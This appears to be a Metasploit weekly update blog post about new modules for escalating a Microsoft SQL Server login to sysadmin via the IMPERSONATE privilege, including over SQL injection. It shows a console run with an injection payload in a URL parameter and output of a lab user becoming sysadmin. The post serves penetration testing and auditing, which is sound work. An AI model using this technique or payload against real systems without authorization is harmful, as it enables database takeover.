Microsoft SQL Server Pen-Tester Pro Tip

This week, we've landed a trio of fun and interesting modules from long-time Metasploit community contributor Scott nullbind Sutherland which automate up a couple Pro Tips on what to do when you've scored a login on a Microsoft SQL Server during a penetration test. One of these is a method to escalate the privileges of a SQL Server user. Oftentimes, when a pen-tester discovers a valid credential for an MSSQL server, she will check if it's an administrator account; otherwise, it'll go on in the "other discovered credentials" section of the report, and that will be that.

Not so fast! Turns out, MSSQL provides some built-in privilege escalation functionality via the IMPERSONATION privilege, and Scott has automated out the procedure to a) check if the current user can impersonate any other user, and if so, b) pick out a user that already is sysadmin. Therefore, the enterprising penetration tester now has a quick and easy way escalate a ho-hum, boring user to an exciting and dangerous sysadmin-level user, opening up what might have been an overlooked post-exploitation path.

Now, this is not a bug or a backdoor or anything like that; it's normal functionality, but it might be missed by a standard (if naive) audit of user permissions. It's this kind of domain-specific knowledge of a particular application that makes contributor-sourced Metasploit modules so valuable -- Scott has effectively trained everyone who uses Metasploit to look for this potential exposure in Microsoft SQL Server merely by publishing a module that not only makes it easy to discover, but explains exactly what it's doing along the way.

As an added bonus, we also have a version of the module that does the same thing, but over SQL injection via a vulnerable web application. So, vector that might normally considered to be an internal-only exposure can be leveraged (in many cases) externally, over port 80. You can read along with the testing notes on Pull Request #4130, but the punchline is shown here:

msf auxiliary(mssql_escalate_execute_as_sqli) > set GET_PATH /testing2.asp?id=1+and+1=[SQLi];--
GET_PATH => /testing2.asp?id=1+and+1=[SQLi];--
msf auxiliary(mssql_escalate_execute_as_sqli) > run
[*] 172.16.158.132:80 - Grabbing the database user name...
[+] 172.16.158.132:80 - Database user: MyUser1
[*] 172.16.158.132:80 - Checking if MyUser1 is already a sysadmin...
[*] 172.16.158.132:80 - MyUser1 is NOT a sysadmin, let's try to escalate privileges.
[*] 172.16.158.132:80 - Enumerating a list of users that can be impersonated...
[+] 172.16.158.132:80 - 3 users can be impersonated:
[*] 172.16.158.132:80 -   MyUser2
[*] 172.16.158.132:80 -   MyUser3
[*] 172.16.158.132:80 -   sa
[*] 172.16.158.132:80 - Checking if any of them are sysadmins...
[*] 172.16.158.132:80 -   MyUser2 is NOT a sysadmin
[*] 172.16.158.132:80 -   MyUser3 is NOT a sysadmin
[+] 172.16.158.132:80 -   sa is a sysadmin!
[*] 172.16.158.132:80 - Attempting to impersonate sa...
[+] 172.16.158.132:80 - Success! MyUser1 is now a sysadmin!
[*] Auxiliary module execution completed

Thanks Scott!

Templates for New Modules

If you're the sort to write your own modules for Metasploit, Rapid7 Labs contributor Jon Hart provided a pretty handy template for a basic UDP port scanner this week. There was some debate over where these sorts of template module should go. Technically, the module provided does actually function and Do A Thing, so it's not unreasonable to keep this (and others like it) the main modules tree. After all, for people new (and not so new) at writing Metasploit modules, the first inclination is typically to look around "nearby" for a module that kind of does something similar, and model the new functionality off of that with a copy-paste.

Of course, this leads to some cargo culted code along the way, but if we have a module that's usable and findable in a spot that's likely to be looked at, the chances of cargo culting tends to drop off. At least, that's the idea.

Some day soon, we hope to have a simplified module template generator available as a rake task, similar to the Corelan Team's mona.py module generator (which is great for spitting out "traditional" memory-manipulation exploits, by the way).

I'm kind of surprised that nobody has taken on this mini-project for Metasploit development already, given how much we use rake tasks today. If you're looking for a useful way to contribute, and you're more of a Ruby person than a buffer overflow poking person, this might be a fun project to take on. If you're interested in hacking on Metasploit like this, feel free to drop in on our Freenode IRC channel and/or subscribe to the Metasploit Hackers mailing list and give us a shout.

New Modules

Including those discussed above, we've landed three new exploits and seven new auxilary modules this week. Beware the return of Sandworm!

Exploit modules

Auxiliary and post modules